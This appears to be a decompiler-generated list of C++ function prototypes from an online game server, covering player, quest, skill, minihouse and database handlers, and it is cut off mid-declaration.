Concurrency::_Order_node_base::reserve_message(int); weak void __stdcall ShineObjectClass::ShineObject::sp_Set_RegenMap(int MapName, int MapName_4, int MapName_8); void __thiscall ShineObjectClass::ShinePlayer::sp_Set_RegenMap(int this, int sMap, int a3, int a4); int __thiscall ShineObjectClass::ShinePlayer::sp_Set_RegenCoord(int this, int nCoord, int a3); __int16 __thiscall ShineObjectClass::ShinePlayer::sp_Set_PrisonTime(int this, __int16 nTime); int __thiscall ShineObjectClass::ShinePlayer::so_ply_ArrangeInvenInit(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_ArrangeInvenDelayCheck(int this); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_IsArrangeInven(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetArrangeInven(int this, int bIsArrangeInven); char __stdcall ShineObjectClass::ShinePlayer::sp_ArrangeInven_nClassifyGrade(int pInven); signed __int16 __stdcall ShineObjectClass::ShinePlayer::sp_ArrangeInven_nClassifyGroupA(int pInven); int __thiscall ShineObjectClass::ShinePlayer::so_ply_IsEquipItem(int this, int nItemEquipType, int nItemId); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_SAVE_LINK_REQ(int this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ(int this, int netcmd, int len, __int16 handle); // void __usercall ShineObjectClass::ShinePlayer::sp_UserCheckFreeStatApplication(int a1, int a2, int a3, int a4); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_AUTO_WAY_FINDING_USE_GATE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_LearnProduceMainSkill(void *this, unsigned __int16 ProduceMain); void __thiscall ShineObjectClass::ShinePlayer::so_SpamSendDataToCharDB(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSetBlock(void *this, unsigned int CurrentTime); void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSendDataToWM(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_EnchantActionUse(void *this, __int16 EnChantItem); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHARSAVE_UI_STATE_SAVE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_SingleOptionSave2World(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ(void *ecx0, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_DISMOUNT_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_SendToWorldProtactionFromGameInfo(void *this, char nIsAdult, int nPlayTime); signed int __thiscall ShineObjectClass::ShinePlayer::sp_GetItemWhoEquip_ClassGroup(void *this); // int __usercall ShineObjectClass::ShinePlayer::so_ply_ArrangeInven(int a1, int a2); int __thiscall ShineObjectClass::ShinePlayer::so_mob_DataBoxforQuest(void *this, int a2); char __thiscall ShineObjectClass::ShinePlayer::sp_SpamCheck(void *this); void __thiscall ShineObjectClass::ShinePlayer::smo_SetCaptivate(void *this, char bValue); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_AdeliaMap_MoverDismount(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SetProtactionFromGameInfo(void *this, int pData); int std::find_std::allocator>_std::allocator_std::allocator>>>::iterator_std::basic_string_std::allocator>>(...); std::basic_string,std::allocator > *__cdecl std::_Copy_backward_opt_std::allocator>___std::basic_string_std::allocator>__>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Xran(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ShineObjectClass::ListUp *_Val); void __cdecl std::fill_std::allocator>___std::basic_string_std::allocator>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Val); std::basic_string,std::allocator > *__cdecl std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Dest, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L190344(int a1); ShineObjectClass::ListUp *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos); bool __cdecl _ErrorSendPlayer(#593 *, int, const char *); bool __cdecl _ErrorSendPlayer(#593 *, int, const char *); void __cdecl std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, unsigned int _Count, std::basic_string,std::allocator > *_Val, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal); int __thiscall ShineObjectClass::ShinePlayer::sp_SetAutoPick(_DWORD, _DWORD); // weak void __thiscall std::vector>::push_back(std::vector > *this, ShineObjectClass::ListUp *_Val); void __thiscall ShineObjectClass::ShinePlayer::sp_HPChangeRoutineEvent(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SPChangeRoutineEvent(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_LevelChangeRoutineEvent(void *this); // void __userpurge ShineObjectClass::ShinePlayer::sp_MysteryVaultMakeItem(int a1, int a2, int itm, unsigned int pError); std::basic_string,std::allocator > *__thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Ufill(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_Ptr, unsigned int _Count, std::basic_string,std::allocator > *_Val); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Insert_n(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator _Where, unsigned int _Count, std::basic_string,std::allocator > *_Val); std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *__thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::insert(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *result, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator _Where, std::basic_string,std::allocator > *_Val); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_Val); int __thiscall ShineObjectClass::ShinePlayer::sp_ItemActionSetup(_DWORD); // weak char __thiscall FieldMap::fm_IsInFieldSize(int this, int xy); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall SkillCastFinish::scf_Routine(SkillCastFinish *this, #734 *sp); void __thiscall CeaseFireSender::cfs_Initialize(CeaseFireSender *this); void __thiscall CeaseFireSender::cfs_Send(CeaseFireSender *this); void __thiscall CeaseFireSender::cfs_Routine(CeaseFireSender *this, #734 *sp); void __thiscall AxialListMagicFieldDamage::_AxialListMagicFieldDamage(AxialListMagicFieldDamage *this); void __thiscall AxialListMagicFieldHeal::_AxialListMagicFieldHeal(AxialListMagicFieldHeal *this); void __thiscall AxialListRescueRequest::AxialListRescueRequest(AxialListRescueRequest *this, #593 *, MobRace, int, char); void __thiscall AxialListRescueRequest::_AxialListRescueRequest(AxialListRescueRequest *this); int __thiscall ShineObjectClass::ShineMob::so_GetTargetInfo(int this, int a2); char __thiscall ShineObjectClass::ShinePlayer::so_ply_BanByServerDisconnect(int this, int lst, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ReinforceRun(int this, int xy, __int16 com, int flag); char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsInFear(int this); void __thiscall ShineObjectClass::ShineDropItem::so_relink(ShineObjectClass::ShineDoor *this, int flag); int __thiscall ShineObjectClass::ShineMob::so_relink(void *this, int flag); void __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(void *this, __int16 handle, int iti, int inv); void __thiscall SlantedListNormalizer::_SlantedListNormalizer(SlantedListNormalizer *this); void __thiscall ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet(void *this, __int16 mob); void __thiscall ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(void *this, unsigned __int8 reference, unsigned __int16 type, int value); char __thiscall ShineObjectClass::ShineDoor::so_Routine(ShineObjectClass::ShineDoor *this, List *lst, unsigned __int16 handle); char __thiscall ShineObjectClass::ShineMiniHouse::so_Routine(ShineObjectClass::ShineMiniHouse *this, List *lst, unsigned __int16 handle); char __thiscall ShineObjectClass::ShineObject::so_drpitm_BriefInfo(#593 *this, #593 *, unsigned int); char __thiscall AxialListMagicFieldDamage::alns_ValidObject(AxialListMagicFieldDamage *this, #593 *obj); void __thiscall AxialListMagicFieldDamage::almfd_ApplyDamage(AxialListMagicFieldDamage *this, SkillDataBox::SkillDataIndex *idx, SKILL_EMPOWER *empower, ShineObjectClass::ShineMagicField *magicfield); char __thiscall AxialListMagicFieldHeal::alns_ValidObject(AxialListMagicFieldHeal *this, #593 *obj); void __thiscall AxialListMagicFieldHeal::almfh_ApplyHeal(AxialListMagicFieldHeal *this, SkillDataBox::SkillDataIndex *idx, SKILL_EMPOWER *empower, ShineObjectClass::ShineMagicField *magicfield); void __thiscall ShineObjectClass::ShineMagicField::smfm_MagicFieldDamage(ShineObjectClass::ShineMagicField *this); void __thiscall ShineObjectClass::ShineMagicField::smfm_MagicFieldHeal(ShineObjectClass::ShineMagicField *this); char __thiscall ShineObjectClass::ShineMagicField::so_Routine(ShineObjectClass::ShineMagicField *this, List *lst, unsigned __int16 handle); char __thiscall AxialListRescueRequest::ali_Work(AxialListRescueRequest *this, #593 *, #593 *, unsigned int); void __thiscall ShineObjectClass::ShineMob::sm_Scream4Rescue(#593 *, int, int, char); char __thiscall ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe(#593 *this, #593 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::so_GetTargetInfo(void *ply, int a2); void __thiscall ShineObjectClass::ShineMob::so_RescueRoutine(void *this); void __thiscall ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime(void *this, __int16 skl, int sec); void __thiscall ShineObjectClass::ShineMobileObject::smo_RunInFear(void *this); void __thiscall ShineObjectClass::ShineMobileObject::so_MoveByServer(void *this, int xy, __int16 someone, int me, int mm, int flag); ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck(ShineObjectClass::ShinePlayer::TimeScheduler *this, #734 *sp); void __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::TimeScheduler(ShineObjectClass::ShinePlayer::TimeScheduler *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemActivCheck(void *this, int a2, __int16 a3); void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemDelete(void *ecx0, ItemInform_ActionItem *this, __int16 a3, __int16 a4, int a5); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet(void *this, __int16 mob); char __thiscall ShineObjectClass::ShineEffectObject::so_Routine(ShineObjectClass::ShineEffectObject *this, List *lst, unsigned __int16 handle); char __thiscall ShineObjectClass::ShineMobileObject::so_Routine(void *this, int lst, __int16 handle); char __thiscall ShineObjectClass::ShineNPC::so_Routine(ShineObjectClass::ShineNPC *this, List *lst, unsigned __int16 handle); char __thiscall ShineObjectClass::ShineDropItem::so_Routine(ShineObjectClass::ShineDropItem *this, List *lst, unsigned __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_RecoverPoint_House(void *this); void __thiscall ShineObjectClass::ShineMob::sm_DuringRecover(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck(void *this, int a2, __int16 a3); int __thiscall ShineObjectClass::ShineMob::sm_DuringBattle(_DWORD); // weak int __thiscall ShineObjectClass::ShineMob::so_Routine(_DWORD); // weak char __thiscall ShineObjectClass::ShineServant::so_Routine(ShineObjectClass::ShineServant *this, List *lst, unsigned __int16 handle); void __thiscall std::vector>::_Xran(std::vector > *this); char __thiscall ShineObjectClass::ShineAxialFlag::so_Routine(ShineObjectClass::ShineAxialFlag *this, List *lst, unsigned __int16 handle); int __thiscall ShineObjectClass::ShineMob::so_mobile_GetGuildRegnum(int this); int __thiscall ShineObjectClass::ShinePlayer::so_mobile_GetGuildRegnum(int this); void __thiscall ShineObjectClass::ShinePlayer::PartyMemberInform::pmi_Clear(ShineObjectClass::ShinePlayer::PartyMemberInform *this); void __thiscall ShineObjectClass::ShineMobileObject::smo_ChineCastCut(DiceTaiSaiDividind *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendHPinform(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendSPinform(void *this); int __thiscall ShineObjectClass::ShinePlayer::sp_partylogout(_DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_partymemberlogin(void *this, int member); void __thiscall ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo(void *this); char __thiscall ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo(void *this, int camp); char __thiscall ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo(void *this, int ride); void __thiscall ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo(void *this); signed int __thiscall ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable(void *this, int efftype); signed __int16 __stdcall ShineObjectClass::ShineObject::so_ply_MH_FurnitureEndureUpdate(int pDBAck); signed __int16 __stdcall ShineObjectClass::ShineObject::so_ply_MH_FurnitureEndureUse(int pFurnitureEndureKitUseReq); void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_LIST_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_ADD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_DEL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_VISITER_COUNT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_MINIHOUSE_EFFECT_DEMANDGOOD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionInfo(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_InitFurnitureEmotionInfo(int this); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotion(int this, __int16 nFurnitureHnd); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotionPosition(int this, __int16 nFurnitureHnd, char nPosition); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotionNo(int this, char nEmotionNo); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotion(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionPosition(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionNo(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotion(int this, __int16 nFurnitureHnd); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotionPosition(int this, char nPosition); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotionNo(int this, char nEmotionNo); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetNextFurnitureHandle(ShineObjectClass::ShineMiniHouse *this); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetActiveMH(int this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetMyHandle(int this, __int16 MHRegNum); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetMyHandle(int this); #593 *__thiscall ShineObjectClass::ShinePlayer::so_mh_GetMinihouse(void *this); int __thiscall ShineObjectClass::ShinePlayer::sp_SetRollBackPosEvent(int this, int pEvent); int __thiscall ShineObjectClass::ShinePlayer::sp_GetRollBackPosEvent(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_RunRollBackPosEvent(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_CastingBarFree(void *this); char __thiscall ChargedItemEffectDataBox::cideb_Next(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger); ChargedItemEffect *__thiscall ChargedItemEffectDataBox::cideb_Get(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger); unsigned __int16 __thiscall ChargedItemEffectDataBox::cideb_GetItem(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryMiniHouseEntrance *content); void __thiscall GameDBSession::gds_NC_ITEMDB_FURNITURE_ENDURE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ(void *this, int netcmd, int len, __int16 handle); void __stdcall sub_545241(int a1, int a2, int a3); int __stdcall loc_545844(int, FunctionEntarance this, char); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ(void *this, int netcmd, int len, __int16 handle); char *__thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseGetMHInfo(void *this); void __stdcall ShineObjectClass::ShineObject::registerObsersver(int observer); int __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_IsEmpty(NormalAttackDamageDelay::NormalAttackDamageTick *this); void __thiscall ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_CreateCastingBar(void *this, unsigned __int16 nTargetHnd, unsigned __int16 nMilliSec, const char *sAnimationIndex); std::vector >::iterator *__cdecl std::find>::iterator_Observer>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, Observer *_Val); std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_Observer>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, Observer *_Val); std::vector >::iterator *__cdecl std::remove_copy_if>::iterator_std::vector>::iterator_has_same_master>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, has_same_master _Pred); int std::_Copy_backward_opt>::iterator_std::deque>::iterator>(...); int std::_Copy_opt>::iterator_std::deque>::iterator>(...); std::vector >::iterator *__cdecl std::remove_if>::iterator_has_same_master>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, has_same_master _Pred); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_PopFront(NormalAttackDamageDelay::NormalAttackDamageTick *this); void __thiscall std::deque>::_Tidy(std::deque > *this); std::deque >::iterator *__thiscall std::deque>::erase(std::deque > *this, std::deque >::iterator *result, std::deque >::iterator _First, std::deque >::iterator _Last); void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Routine(NormalAttackDamageDelay::NormalAttackDamageTick *this, #734 *attacker); int __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_TargetCompare(NormalAttackDamageDelay::NormalAttackDamageTick *this, unsigned int nTargetReg); void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::_NormalAttackDamageTick(NormalAttackDamageDelay::NormalAttackDamageTick *this); std::vector >::iterator *__thiscall ShineObjectClass::ShinePlayer::unregisterObsersver(std::vector >::iterator this, Observer *observer); std::vector >::iterator *__thiscall ShineObjectClass::ShinePlayer::unregisterObsersvers(int this, has_same_master result); void __thiscall ShineObjectClass::ShinePlayer::notifyObservers(int this, int happen, int DwParam, int SDwParam); void __thiscall std::deque>::_Xlen(std::deque > *this); void __thiscall std::deque>::_Growmap(std::deque > *this, unsigned int _Count); void __thiscall std::deque>::push_back(std::deque > *this, NormalAttackDamageDelay::NormalAttackDamageElement *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, Observer *_Val); void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_PushBack(NormalAttackDamageDelay::NormalAttackDamageTick *this, int millisec, int missileflymillisec, #593 *target, char attacksequance); void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear_PassHitTime(NormalAttackDamageDelay::NormalAttackDamageTick *this); void __thiscall std::vector>::push_back(std::vector > *this, Observer *_Val); void __thiscall ShineObjectClass::ShinePlayer::registerObsersver(void *this, Observer *observer); void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::NormalAttackDamageTick(NormalAttackDamageDelay::NormalAttackDamageTick *this); void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear(NormalAttackDamageDelay::NormalAttackDamageTick *this); void __thiscall ShineQuestDiary::ShineQuestDiary(ShineQuestDiary *this); void __thiscall ShineQuestDiary::_ShineQuestDiary(ShineQuestDiary *this); void __stdcall ShineObjectClass::ShineObject::so_ply_QuestCheck(int qf, int a2, int a3, int mobinf); void __thiscall ShineObjectClass::ShinePlayer::so_ply_QuestCheck(void *this, void (__thiscall *qf)(_DWORD, _DWORD, _DWORD, _DWORD), int a3, int a4, int mobinf); void __thiscall ShineQuestDiary::sqd_MobDead(ShineQuestDiary *this, #593 *, #593 *, MobDataBox::MobDataBoxIndex *); void __stdcall ShineObjectClass::ShineObject::so_ply_ItemLotChange(__int16 item, int delta); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemLotChange(void *this, int item, int delta); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_QUEST_DB_SET_INFO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_QUEST_DB_CLEAR_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_QUEST_DB_GIVE_UP_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_QUEST_DB_READ_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_QUEST_DB_DONE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD(void *this, int netcmd, int len, __int16 handle); bool __cdecl _ErrorSendPlayer(#593 *, int, const char *); bool __cdecl _ErrorSendPlayer(#593 *, int, const char *); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_START_REQ(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_READ_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineRadian::ShineRadian(ShineRadian *this); int __thiscall ShineRadian::sr_sin1024(ShineRadian *this, int sr); int __thiscall ShineRadian::sr_cos1024(ShineRadian *this, int sr); int __thiscall ShineRadian::sr_degree2sr(ShineRadian *this, int deg); void __thiscall BriefInformationMagicField::bimfm_InitBriefInfo(BriefInformationMagicField *this, unsigned __int16 handle, unsigned __int16 caster, unsigned __int16 skillid, SHINE_XY_TYPE *loc, int radious); void __thiscall VectorClass::UnitVector::Rotation(VectorClass::UnitVector *this, int Radian); void __thiscall FanFormSectorArgument::_FanFormSectorArgument(FanFormSectorArgument *this); int __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCastSuccessPacket(int this); void __thiscall AxialListScanSkillTarget::alsst_SetAttacker(AxialListScanSkillTarget *this, #615 *attacker); int __thiscall ShineObjectClass::ShineMob::so_mobile_Teleport(void *this, int Location); void __thiscall AxialListMagicFieldAggro::_AxialListMagicFieldAggro(AxialListMagicFieldAggro *this); __int16 __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCastFail(int this, __int16 err); void __thiscall AxialListHideFromTarget::_AxialListHideFromTarget(AxialListHideFromTarget *this); bool __thiscall SkillEffectApply::SkillBlastEffect::operator__(SkillEffectApply::SkillBlastEffect *this, SkillEffectApply::SkillBlastEffect *sbe); void __thiscall ShineObjectClass::ShinePlayer::smo_ChineCastCut(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_ToggleSkill_IsOn(int this, unsigned __int16 nSkillID); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ToggleSkill_On(void *this, int pSkillIdx, int pEmpower); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ToggleSkill_Off(int this, int pSkillIdx); void __thiscall ShineObjectClass::ShinePlayer::so_ply_DmgCoolTimeDown(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_CheckDamageAbsorption(void *this, int nDamage); char __thiscall ShineObjectClass::ShineMobileObject::so_smo_GetRandomTarget_Locate(void *this, int pSkillIndex, int pRandomLocate); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueSkillErase *content); void __thiscall FanFormSectorArgument::FanFormSectorArgument(FanFormSectorArgument *this); void __thiscall ShineObjectClass::ShineMobileObject::smo_old_skill_blast(void *this, int idx, int a3, int skill, __int16 *empower); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShineMobileObject::smo_CastAbort(void *this); void __thiscall ShineObjectClass::ShinePlayer::smo_CastAbort(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD(void *this, int netcmd, int len, __int16 handle); char __thiscall AxialListNearScanSkillEnemy::alns_ValidObject(AxialListNearScanSkillEnemy *this, #593 *obj); char __thiscall AxialListNearScanSkillParty::alns_ValidObject(AxialListNearScanSkillParty *this, #593 *obj); char __thiscall AxialListNearScanSkillFriend::alns_ValidObject(AxialListNearScanSkillFriend *this, #593 *obj); int __thiscall ShineObjectClass::ShineMobileObject::smo_ClearSkillResultBuffer_Miss(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillResultPacket(void *this, int idx, int targetpoint); void __cdecl ShineObjectClass::ShineObject::so_mobile_Teleport(); void __stdcall ShineObjectClass::ShineObject::so_mobile_Teleport(int Location); void __thiscall ShineObjectClass::ShineMob::so_mobile_Teleport(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_mobile_Teleport(int this, int Location); char __thiscall AxialListMagicFieldAggro::alns_ValidObject(AxialListMagicFieldAggro *this, #593 *obj); void __thiscall AxialListMagicFieldAggro::almfa_AppendAggro(AxialListMagicFieldAggro *this); char __thiscall ShineObjectClass::ShineObject::so_BroadcastBriefInfo(#593 *this, #593 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ(void *this, unsigned __int16 *netcmd, __int16 tmp, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess(void *this); void __thiscall GameDBSession::gds_NC_SKILL_ERASE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall CharacterPassiveList::cpl_UnLearn(CharacterPassiveList *this, unsigned __int16 skill); MobExplosionElement::MobExplosionBase *__thiscall ShineObjectClass::ShineServant::ss_ExplosionReady(ShineObjectClass::ShineServant *this); MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionBase::meb_Routine(MobExplosionElement::MobExplosionBase *this, ShineObjectClass::ShineServant *mob); MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionEnemy::meb_Routine(MobExplosionElement::MobExplosionEnemy *this, ShineObjectClass::ShineServant *mob); MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionTarget::meb_Routine(MobExplosionElement::MobExplosionTarget *this, ShineObjectClass::ShineServant *mob); MobExplosionElement::MobExplosionBase *__thiscall 